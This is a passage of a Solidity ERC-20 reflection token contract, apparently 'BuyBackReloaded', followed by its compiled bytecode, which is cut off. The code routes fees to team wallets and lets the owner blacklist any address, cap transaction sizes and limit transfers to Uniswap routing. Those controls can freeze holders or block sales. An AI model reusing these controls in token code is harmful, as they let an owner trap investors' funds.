_; inSwap = false; } constructor(address payable addr1, address payable addr2) { _teamAddress = addr1; _marketingFunds = addr2; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_teamAddress] = true; _isExcludedFromFee[_marketingFunds] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_taxFee == 0 && _teamFee == 0) return; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = 5; _teamFee = 10; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (cooldownEnabled) { if ( from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router) ) { require( _msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair, "ERR: Uniswap only" ); } } require(amount <= _maxTxAmount); require(!bots[from] && !bots[to]); if ( from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && cooldownEnabled ) { require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (_cooldownSeconds * 1 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) { takeFee = false; } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _teamAddress.transfer(amount.div(2)); _marketingFunds.transfer(amount.div(2)); } function addLiquidityETH() external onlyOwner() { require(!tradingOpen, "trading is already started"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}( address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp ); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 10000000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve( address(uniswapV2Router), type(uint256).max ); } function manualswap() external { require(_msgSender() == _teamAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _teamAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 taxFee, uint256 TeamFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } function setCooldownSeconds(uint256 cooldownSecs) external onlyOwner() { require(cooldownSecs > 0, "Secs must be greater than 0"); _cooldownSeconds = cooldownSecs; } }
0x6080604052600436106101175760003560e01c806370a08231116100a0578063a9059cbb11610064578063a9059cbb14610383578063c3c8cd80146103c0578063d543dbeb146103d7578063dd62ed3e14610400578063ed9953071461043d5761011e565b806370a08231146102b0578063715018a6146102ed5780637b5b1157146103045780638da5cb5b1461032d57806395d89b41146103585761011e565b806323b872dd116100e757806323b872dd146101df578063313ce5671461021c5780635932ead1146102475780636b999053146102705780636fc3eaec146102995761011e565b8062b8cf2a1461012357806306fdde031461014c578063095ea7b31461017757806318160ddd146101b45761011e565b3661011e57005b600080fd5b34801561012f57600080fd5b5061014a60048036038101906101459190612b5f565b610454565b005b34801561015857600080fd5b506101616105a4565b60405161016e9190613023565b60405180910390f35b34801561018357600080fd5b5061019e60048036038101906101999190612b23565b6105e1565b6040516101ab9190613008565b60405180910390f35b3480156101c057600080fd5b506101c96105ff565b6040516101d691906131e5565b60405180910390f35b3480156101eb57600080fd5b5061020660048036038101906102019190612ad4565b610610565b6040516102139190613008565b60405180910390f35b34801561022857600080fd5b506102316106e9565b60405161023e919061325a565b60405180910390f35b34801561025357600080fd5b5061026e60048036038101906102699190612ba0565b6106f2565b005b34801561027c57600080fd5b5061029760048036038101906102929190612a46565b6107a4565b005b3480156102a557600080fd5b506102ae610894565b005b3480156102bc57600080fd5b506102d760048036038101906102d29190612a46565b610906565b6040516102e491906131e5565b60405180910390f35b3480156102f957600080fd5b50610302610957565b005b34801561031057600080fd5b5061032b60048036038101906103269190612bf2565b610aaa565b005b34801561033957600080fd5b50610342610b8c565b60405161034f9190612f3a565b60405180910390f35b34801561036457600080fd5b5061036d610bb5565b60405161037a9190613023565b60405180910390f35b34801561038f57600080fd5b506103aa60048036038101906103a59190612b23565b610bf2565b6040516103b79190613008565b60405180910390f35b3480156103cc57600080fd5b506103d5610c10565b005b3480156103e357600080fd5b506103fe60048036038101906103f99190612bf2565b610c8a565b005b34801561040c57600080fd5b5061042760048036038101906104229190612a98565b610dd3565b60405161043491906131e5565b60405180910390f35b34801561044957600080fd5b50610452610e5a565b005b61045c6113b6565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146104e9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104e090613145565b60405180910390fd5b60005b81518110156105a0576001600a6000848481518110610534577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610598906134fb565b9150506104ec565b5050565b60606040518060400160405280600f81526020017f4275794261636b52656c6f616465640000000000000000000000000000000000815250905090565b60006105f56105ee6113b6565b84846113be565b6001905092915050565b6000683635c9adc5dea00000905090565b600061061d848484611589565b6106de846106296113b6565b6106d98560405180606001604052806028815260200161394760289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061068f6113b6565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d559092919063ffffffff16565b6113be565b600190509392505050565b60006009905090565b6106fa6113b6565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610787576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161077e90613145565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b6107ac6113b6565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610839576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161083090613145565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108d56113b6565b73ffffffffffffffffffffffffffffffffffffffff16146108f557600080fd5b600047905061090381611db9565b50565b6000610950600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611eb4565b9050919050565b61095f6113b6565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109ec576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109e390613145565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610ab26113b6565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b3f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b3690613145565b60405180910390fd5b60008111610b82576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b79906130e5565b60405180910390fd5b8060118190555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600381526020017f4242520000000000000000000000000000000000000000000000000000000000815250905090565b6000610c06610bff6113b6565b8484611589565b6001905092915050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610c516113b6565b73ffffffffffffffffffffffffffffffffffffffff1614610c7157600080fd5b6000610c7c30610906565b9050610c8781611f22565b50565b610c926113b6565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d1f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d1690613145565b60405180910390fd5b60008111610d62576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d5990613105565b60405180910390fd5b610d916064610d8383683635c9adc5dea0000061221c90919063ffffffff16565b61229790919063ffffffff16565b6010819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf601054604051610dc891906131e5565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610e626113b6565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610eef576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ee690613145565b60405180910390fd5b600f60149054906101000a900460ff1615610f3f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f3690613065565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610fcf30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006113be565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561101557600080fd5b505afa158015611029573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061104d9190612a6f565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156110af57600080fd5b505afa1580156110c3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110e79190612a6f565b6040518363ffffffff1660e01b8152600401611104929190612f55565b602060405180830381600087803b15801561111e57600080fd5b505af1158015611132573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111569190612a6f565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71947306111df30610906565b6000806111ea610b8c565b426040518863ffffffff1660e01b815260040161120c96959493929190612fa7565b6060604051808303818588803b15801561122557600080fd5b505af1158015611239573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061125e9190612c1b565b5050506001600f60166101000a81548160ff0219169083151502179055506001600f60176101000a81548160ff021916908315150217905550678ac7230489e800006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611360929190612f7e565b602060405180830381600087803b15801561137a57600080fd5b505af115801561138e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113b29190612bc9565b5050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561142e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611425906131a5565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561149e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611495906130a5565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161157c91906131e5565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156115f9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115f090613185565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611669576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161166090613045565b60405180910390fd5b600081116116ac576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116a390613165565b60405180910390fd5b6116b4610b8c565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561172257506116f2610b8c565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611c9257600f60179054906101000a900460ff1615611955573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156117a457503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156117fe5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156118585750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561195457600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661189e6113b6565b73ffffffffffffffffffffffffffffffffffffffff1614806119145750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166118fc6113b6565b73ffffffffffffffffffffffffffffffffffffffff16145b611953576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161194a906131c5565b60405180910390fd5b5b5b60105481111561196457600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611a085750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611a1157600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611abc5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611b125750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611b2a5750600f60179054906101000a900460ff165b15611bd85742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611b7a57600080fd5b6001601154611b8991906133a2565b42611b94919061331b565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611be330610906565b9050600f60159054906101000a900460ff16158015611c505750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611c685750600f60169054906101000a900460ff165b15611c9057611c7681611f22565b60004790506000811115611c8e57611c8d47611db9565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611d395750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611d4357600090505b611d4f848484846122e1565b50505050565b6000838311158290611d9d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d949190613023565b60405180910390fd5b5060008385611dac91906133fc565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611e0960028461229790919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611e34573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611e8560028461229790919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611eb0573d6000803e3d6000fd5b5050565b6000600654821115611efb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ef290613085565b60405180910390fd5b6000611f0561230e565b9050611f1a818461229790919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611f80577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611fae5781602001602082028036833780820191505090505b5090503081600081518110611fec577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561208e57600080fd5b505afa1580156120a2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906120c69190612a6f565b81600181518110612100577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061216730600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846113be565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016121cb959493929190613200565b600060405180830381600087803b1580156121e557600080fd5b505af11580156121f9573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b60008083141561222f5760009050612291565b6000828461223d91906133a2565b905082848261224c9190613371565b1461228c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161228390613125565b60405180910390fd5b809150505b92915050565b60006122d983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612339565b905092915050565b806122ef576122ee61239c565b5b6122fa8484846123cd565b8061230857612307612598565b5b50505050565b600080600061231b6125aa565b91509150612332818361229790919063ffffffff16565b9250505090565b60008083118290612380576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123779190613023565b60405180910390fd5b506000838561238f9190613371565b9050809150509392505050565b60006008541480156123b057506000600954145b156123ba576123cb565b600060088190555060006009819055505b565b6000806000806000806123df8761260c565b95509550955095509550955061243d86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461267490919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506124d285600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126be90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061251e8161271c565b61252884836127d9565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161258591906131e5565b60405180910390a3505050505050505050565b6005600881905550600a600981905550565b600080600060065490506000683635c9adc5dea0000090506125e0683635c9adc5dea0000060065461229790919063ffffffff16565b8210156125ff57600654683635c9adc5dea00000935093505050612608565b81819350935050505b9091565b60008060008060008060008060006126298a600854600954612813565b925092509250600061263961230e565b9050600080600061264c8e8787876128a9565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006126b683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611d55565b905092915050565b60008082846126cd919061331b565b905083811015612712576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612709906130c5565b60405180910390fd5b8091505092915050565b600061272661230e565b9050600061273d828461221c90919063ffffffff16565b905061279181600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126be90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6127ee8260065461267490919063ffffffff16565b600681905550612809816007546126be90919063ffffffff16565b6007819055505050565b60008060008061283f6064612831888a61221c90919063ffffffff16565b61229790919063ffffffff16565b90506000612869606461285b888b61221c90919063ffffffff16565b61229790919063ffffffff16565b9050600061289282612884858c61267490919063ffffffff16565b61267490919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806128c2858961221c90919063ffffffff16565b905060006128d9868961221c90919063ffffffff16565b905060006128f0878961221c90919063ffffffff16565b905060006129198261290b858761267490919063ffffffff16565b61267490919063ffffffff16565b9050838184965096509650505050509450945094915050565b60006129456129408461329a565b613275565b9050808382526020820190508285602086028201111561296457600080fd5b60005b85811015612994578161297a888261299e565b845260208401935060208301925050600181019050612967565b5050509392505050565b6000813590506129ad81613901565b92915050565b6000815190506129c281613901565b92915050565b600082601f8301126129d957600080fd5b81356129e9848260208601612932565b91505092915050565b600081359050612a0181613918565b92915050565b600081519050612a1681613918565b92915050565b600081359050612a2b8161392f565b92915050565b600081519050612a408161392f565b92915050565b600060208284031215612a5857600080fd5b6000612a668482850161299e565b91505092915050565b600060208284031215612a8157600080fd5b6000612a8f848285016129b3565b91505092915050565b60008060408385031215612aab57600080fd5b6000612ab98582860161299e565b9250506020612aca8582860161299e565b9150509250929050565b600080600060608486031215612ae957600080fd5b6000612af78682870161299e565b9350506020612b088682870161299e565b9250506040612b1986828701612a1c565b9150509250925092565b60008060408385031215612b3657600080fd5b6000612b448582860161299e565b9250506020612b5585828601612a1c565b9150509250929050565b600060208284031215612b7157600080fd5b600082013567ffffffffffffffff811115612b8b57600080fd5b612b97848285016129c8565b91505092915050565b600060208284031215612bb257600080fd5b6000612bc0848285016129f2565b91505092915050565b600060208284031215612bdb57600080fd5b6000612be984828501612a07565b91505092915050565b600060208284031215612c0457600080fd5b6000612c1284828501612a1c565b91505092915050565b600080600060608486031215612c3057600080fd5b6000612c3e86828701612a31565b9350506020612c4f86828701612a31565b9250506040612c6086828701612a31565b9150509250925092565b6000612c768383612c82565b60208301905092915050565b612c8b81613430565b82525050565b612c9a81613430565b82525050565b6000612cab826132d6565b612cb581856132f9565b9350612cc0836132c6565b8060005b83811015612cf1578151612cd88882612c6a565b9750612ce3836132ec565b925050600181019050612cc4565b5085935050505092915050565b612d0781613442565b82525050565b612d1681613485565b82525050565b6000612d27826132e1565b612d31818561330a565b9350612d41818560208601613497565b612d4a816135d1565b840191505092915050565b6000612d6260238361330a565b9150612d6d826135e2565b604082019050919050565b6000612d85601a8361330a565b9150612d9082613631565b602082019050919050565b6000612da8602a8361330a565b9150612db38261365a565b604082019050919050565b6000612dcb60228361330a565b9150612dd6826136a9565b604082019050919050565b6000612dee601b8361330a565b9150612df9826136f8565b602082019050919050565b6000612e11601b8361330a565b9150612e1c82613721565b602082019050919050565b6000612e34601d8361330a565b9150612e3f8261374a565b602082019050919050565b6000612e5760218361330a565b9150612e6282613773565b604082019050919050565b6000612e7a60208361330a565b9150612e85826137c2565b602082019050919050565b6000612e9d60298361330a565b9150612ea8826137eb565b604082019050919050565b6000612ec060258361330a565b9150612ecb8261383a565b604082019050919050565b6000612ee360248361330a565b9150612eee82613889565b604082019050919050565b6000612f0660118361330a565b9150612f11826138d8565b602082019050919050565b612f258161346e565b82525050565b612f3481613478565b82525050565b6000602082019050612f4f6000830184612c91565b92915050565b6000604082019050612f6a6000830185612c91565b612f776020830184612c91565b9392505050565b6000604082019050612f936000830185612c91565b612fa06020830184612f1c565b9392505050565b600060c082019050612fbc6000830189612c91565b612fc96020830188612f1c565b612fd66040830187612d0d565b612fe36060830186612d0d565b612ff06080830185612c91565b612ffd60a0830184612f1c565b979650505050505050565b600060208201905061301d6000830184612cfe565b92915050565b6000602082019050818103600083015261303d8184612d1c565b905092915050565b6000602082019050818103600083015261305e81612d55565b9050919050565b6000602082019050818103600083015261307e81612d78565b9050919050565b6000602082019050818103600083015261309e81612d9b565b9050919050565b600060208201905081810360008301526130be81612dbe565b9050919050565b600060208201905081810360008301526130de81612de1565b9050919050565b600060208201905081810360008301526130fe81612e04565b9050919050565b6000602082019050818103600083015261311e81612e27565b9050919050565b6000602082019050818103600083015261313e81612